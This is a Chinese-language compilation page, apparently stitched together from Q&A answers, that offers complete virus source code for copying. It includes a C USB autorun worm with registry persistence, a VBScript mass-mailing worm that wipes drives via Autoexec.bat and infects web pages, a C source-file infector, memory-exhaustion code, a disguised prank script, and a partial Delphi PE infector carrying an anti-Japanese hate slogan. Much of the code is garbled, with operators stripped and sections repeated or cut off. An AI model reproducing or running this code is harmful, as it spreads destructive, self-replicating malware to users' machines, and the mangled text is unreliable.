用C语言编写的病毒代码

一个c病毒源代码

#include windows.h

#include Shlwapi.h

#include fstream.h

#include TlHelp32.h

#include Dbt.h

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

//获取盘符

TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒从U盘启动时用到的函数

BOOL FileExist(TCHAR *path);//测试一个文件是否存在

BOOL GetSelfPath(TCHAR *path);//Get the virus's path

//BOOL FindU(TCHAR *u);//check whether u exist, u[2]

BOOL GetSysPath(TCHAR *path);//得到系统路径

BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置

BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性

BOOL RegAutoRun(TCHAR *path);//修改注册表，实现自启动

//从C盘启动时用到函数

BOOL CopyToUAndSet();//复制自己到U盘

BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件

BOOL FindSelf();//测试自己是否在已经执行了

//global variable

TCHAR szExePath[MAX_PATH];//the virus's path

TCHAR U[2];//保存U盘的盘符

TCHAR szSysPath[MAX_PATH];//system path

//constant

const TCHAR *szExeName="bbbbb.exe";

const TCHAR *szSysName="aaaaa.exe";

const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,

PSTR szCmdLine, int iCmdShow)

{

static TCHAR szAppName[]=TEXT ("UUUUUU");

HWND hwnd;

MSG msg;

WNDCLASS wndclass;

wndclass.style =0;

wndclass.lpfnWndProc =WndProc;

wndclass.cbClsExtra =0;

wndclass.cbWndExtra =0;

wndclass.hInstance =hInstance;

wndclass.hIcon =0;

wndclass.hCursor =0;

wndclass.hbrBackground =0;

wndclass.lpszMenuName =NULL;

wndclass.lpszClassName =szAppName;

if (!RegisterClass (wndclass))

{

MessageBox (NULL,TEXT("Program requires Windows NT!"),

szAppName, MB_ICONERROR);

return 0;

}

hwnd = CreateWindow (szAppName, NULL,

WS_DISABLED,

0, 0,

0, 0,

NULL, NULL, hInstance, NULL);

while (GetMessage(msg, NULL, 0, 0))

{

TranslateMessage (msg);

DispatchMessage (msg);

}

return msg.wParam;

}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)

{

PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;

switch(wParam)

{

case DBT_DEVICEARRIVAL: //插入

if (lpdb - dbch_devicetype == DBT_DEVTYP_VOLUME)

{

PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;

U[0]=FirstDriveFromMask(lpdbv -dbcv_unitmask);//得到u盘盘符

//MessageBox(0,U,"Notice!",MB_OK);

CopyToUAndSet();//拷到u盘

}

break;

case DBT_DEVICEREMOVECOMPLETE: //设备删除

break;

}

return LRESULT();

}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)

{

switch(message)

{

case WM_Create: //处理一些要下面要用到的全局变量

U[1]=':';

GetSysPath(szSysPath);//得到系统路径

SetTimer(hwnd,TIMER,5000,0);//启动计时器

GetSelfPath(szExePath);//得到自身的路径

return 0;

case WM_TIMER: //timer message

if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的

SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息

else

{

CopyToSysAndSet(hwnd);//拷到系统盘并自启动

}

return 0;

case WM_DEVICECHANGE:

OnDeviceChange(hwnd,wParam,lParam);

return 0;

case WM_DESTROY:

KillTimer(hwnd,TIMER);

PostQuitMessage(0);

return 0;

}

return DefWindowProc(hwnd, message, wParam, lParam);

}

TCHAR FirstDriveFromMask(ULONG unitmask)

{

char i;

for (i = 0; i 26; ++i)

{

if (unitmask 0x1)//看该驱动器的状态是否发生了变化

break;

unitmask = unitmask 1;

}

return (i + 'A');

}

BOOL GetSelfPath(TCHAR *path)

{

if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录

{

return TRUE;

}

else

return FALSE;

}

BOOL GetSysPath(TCHAR *path)

{

return GetSystemDirectory(path,MAX_PATH);//得到系统路径

}

BOOL CopyToSysAndSet(HWND hwnd)

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,szSysPath);

lstrcat(szPath,"\\");

lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录

if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件

{

CopyFile(szExePath,szPath,FALSE);

RegAutoRun(szPath);

return SetFileAttrib(szPath);

}

else

{

if(!FindSelf())//检测自己有没有运行

{

//MessageBox(0,szExePath,szPath,MB_OK);

WinExec(szPath,SW_HIDE);//没有就执行

SendMessage(hwnd,WM_CLOSE,0,0);//结束自己

}

}

return FALSE;

}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在

{

int result;

result=PathFileExists(path);

if(result==1)

return TRUE;

else

return FALSE;

}

BOOL SetFileAttrib(TCHAR *path)

{

return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);

}

BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动

{

HKEY hkey;

DWORD v=0;

RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",hkey);

RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)v,sizeof(DWORD));

if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",

hkey)==ERROR_SUCCESS)

{

RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));

RegCloseKey(hkey);

return TRUE;

}

else

return FALSE;

}

BOOL CopyToUAndSet()

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,U);

lstrcat(szPath,"\\");

lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];

lstrcpy(szAutoFile,U);

lstrcat(szAutoFile,"\\");

lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))

{

CreateAutoRunFile(szAutoFile);

SetFileAttrib(szAutoFile);

}

if(!FileExist(szPath))

{

CopyFile(szExePath,szPath,FALSE);

return SetFileAttrib(szPath);

}

return FALSE;

}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件

{

ofstream fout;

fout.open(path);

if(fout)

{

fout"[AutoRun]"endl;

fout"open="szExeName" e"endl;

fout"shellexecute="szExeName" e"endl;

fout"shell\\Auto\\command="szExeName" e"endl;

fout"shell=Auto"endl;

fout.close();

return TRUE;

}

return FALSE;

}

BOOL FindSelf(){

PROCESSENTRY32 pe;

HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe.dwSize=sizeof(PROCESSENTRY32);

if(Process32First(hShot,pe)){

do{

if(lstrcmp(pe.szExeFile,szSysName)==0)

{

CloseHandle(hShot);

return TRUE;

}

}while(Process32Next(hShot,pe));

}

CloseHandle(hShot);

return FALSE;

} 隐藏窗口：ShowWindow(false); （#include windows.h)

将程序暂停一秒后继续执行：sleep(1000); （同上）

删除文件：system("del 文件的路径");

运行文件：system("文件的路径");

system函数（#include iostream)

复制文件：详见remove函数（#include process.h）

-----------------------------------------------------------

一个不错的病毒完整源代码

#include windows.h

#include Shlwapi.h

#include fstream.h

#include TlHelp32.h

#include Dbt.h

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

//获取盘符

TCHAR FirstDriveFromMask (ULONG unitmask);

谁有简单的电脑病毒代码？？

新建一个文本文档，输入以下内容：msgbox"内容1"+chr(13)+"内容2"+chr(13)+"内容3",1,"标题"

格式和符号必须正确，内容1、内容2、内容3、标题可以随意更改，比如：msgbox"您的电脑被黑客入侵"+chr(13)+"请立刻发三遍我是猪到朋友圈"+chr(13)+"否则您的电脑显卡将起火",1,"黑客入侵警告"

之后保存，重命名，把后缀txt改为vbs，新建一个文件夹，点右键选择属性→自定义→更改图标，把它伪装成一个软件(我的是winXP系统，操作可能不一样)，把刚才的文件放进去

最后发送给你的朋友，让他打开，他在电脑上就会出现一个这样的提示：

×

黑客入侵警告

您的电脑被黑客入侵

请立刻发三遍我是猪的朋友圈

否则您的电脑显卡将起火

确定

比较简单的C++病毒代码

最简单的病毒代码如下： #include "windows.h"

#include "stdio.h"

void main(int argc,char * argv[])

{

//printf("%s\n",argv[i]);

char copy[80];

sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);

system(copy); //将这个程序拷到开机启动文件夹下面

//char cmd[]="shutdown -r -t 0";//自动重起

char cmd[]="ping baidu.com";//将这个换成上面的，就是一开机就重起了！

system(cmd);

system("pause");

}

给个C语言病毒代码.....要复制的....越长越好

下面就对“陷阱”的发作过程和源代码作详细的揭密。

病毒具有自身加密能力(使用 JavaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱”

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) ’白宫相关人员邮件名单

whb(0) = "president@whitehouse.gov"

whb(1) = "vice.president@whitehouse.gov "

whb(2) = "first.lady@whitehouse.gov"

whb(3) = "mrs.cheney@whitehouse.gov"

'发送邮件的主题

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定义传染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路径

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象

if getErr then '辨认病毒状态

Randomize '初始化随机种子

ra = int(rnd() * 7) '产生随机数

doucment.write title(ra) ' 写随机内容

ExecuteMail '执行邮件状态时的程序

else

ExecutePage '执行 WEB 页状态时的程序

end if

else

ExecuteVbs '执行 VBS 文件状态时的程序

end if

end sub

Function getErr() 忽略错误

if Err.number0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 页状态时的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码

Js_Str = GetJavaScript() ' 得到 Javascript 代码

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码

Gf

'定义病毒文件的路径

wdsf = w2 "Mdm.vbs"

wdsf2 = w1 "Profile.vbs"

wdf = w2 "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人

wdf2 = w2 "Readme.html"

wdf3 = w2 "system.dll"

'创建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注册表，让病毒文件在每一次计算机启动自动执行

Writereg MSWKEY "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 执行发送邮件程序

Hackpage ' 执行感染网站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘

call SearchHTML(x "\") '执行文件感染程序

end if

next

if TestUser then '检查用户

Killhe 执行删除文件操作

else

if Month(Date) Day(Date) = "75" then '如系统时间为 7月5日

set vf = fso.OpenTextFile(w2 "75.htm", 2,true) ’创建系统攻击文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY "CurrentVersion\Run\75", w2 "75.htm", "" '自动启动

window.navigate "c:/con/con" '立刻蓝屏，利用 Windows BUG，能引起 Win9X 系统100%死机（即无法恢复的蓝屏）

else '如不是7.5

if fso.FileExists(w2 "75.htm") then fso.DeleteFile w2 "75.htm" ' 删除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '邮件状态时执行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '创建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口

end sub

sub ExecuteVbs() ' 同理，如病毒文件是 VBS 时所执行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系统路径

w1=fso.GetSpecialFolder(0) "\"

w2=fso.GetSpecialFolder(1) "\"

end sub

function Readreg(key_str) '读注册表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '写注册表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="" "HTML" "HEAD" "TITLE" title(ra) "/" "TITLE" "/HEAD" _

"BO" "AD" vbcrlf MakeScript(Sbuffer, iHTML) vbcrlf _

"" "/BOAD" "/HTML"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂，不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write(''+" "'SCRIPT Language=JavaScript\n'+" _

"jword" "+'\n/'" "+'SCRIPT');"

DocuWrite = DocuWrite vbcrlf "document.write(''+" "'SCRIPT Language=VBScript\n'+" _

"nword" "+'\n/'" "+'SCRIPT');"

MakeScript="" "SCRIPT Language=JavaScript" vbcrlf "var jword = " _

chr(34) encrypt(Js_Str) chr(34) vbcrlf "var nword = " _

chr(34) Codestr chr(34) vbcrlf "nword = unescape(nword);" vbcrlf _

"jword = unescape(jword);" vbcrlf DocuWrite vbcrlf "/" "SCRIPT"

else

MakeScript= "" "SCRIPT Language=JavaScript" Codestr "/" "SCRIPT"

end if

end function

function GetScriptCode(Languages) ' 得到不同脚本语言的代码

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text) 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '检测用户过程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用户关键词

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '创建网络对象

'下面一共3个循环，作用一样，是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语，一旦含有程序将返回”真”的条件，从而对这些用户的文件进行疯狂删除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) 0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '发送文件过程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件

主题是随机的，此过程与“欢乐时光“类似，所以不再描述

Randomize

at=fso.GetSpecialFolder(1) "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW eins, Eaec, ""

next

'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送

end function

sub SearchHTML(Path) '搜索可传染文件的过程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) 0 then exit sub

if Path "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。

if Code_Str"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盘删除文件过程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" vbcrlf "PATH " w1 "COMMAND" vbcrlf _

"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中，下次开机时，删除整个硬盘，并没有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf codeText

ko.Close

'接着立刻删除其它盘的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '让系统立刻死机

window.open ""

loop

end sub

sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户

set fi = fso.GetFile(H "\index.htm")

AddHead H "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程

on error resume next

dim tso, buffer,sr

if f.size MAX_SIZE then exit sub '传染大小小于100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) "SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str vbcrlf buffer '插入到文件头

tso.close

end if

else

if mid(buffer, 3, 2) "'@" then

tso.close

sr=w2 "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。

求简单计算机病毒的程序(C/C++)

现在计算机内存大，1楼的程序，不一定能搞的死机。改进一下:

void

main()

{

while(1){

DoIt();}

}

void

DoIt()

{

char

*p;

for(int

i=0;i100000;i++)

{

p=new

char[100000];

DoIt();

}

}

----------------------------

计算机病毒:利用计算机软件与硬件的缺陷，破坏计算机数据并影响计算机正常工作的一组指令集或程序代码

。

百度百科说的，你没意见了吧，O(∩_∩)O哈哈~

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。

电脑病毒代码

不行的 得用虚拟机才可以测试病毒代码 无需下载，把下面这段代码复制到记事本里，保存为文本文件

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

熊猫烧香

ogram Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码，以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel32.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之？

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用，退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节)，存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码，将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ':';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录，感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

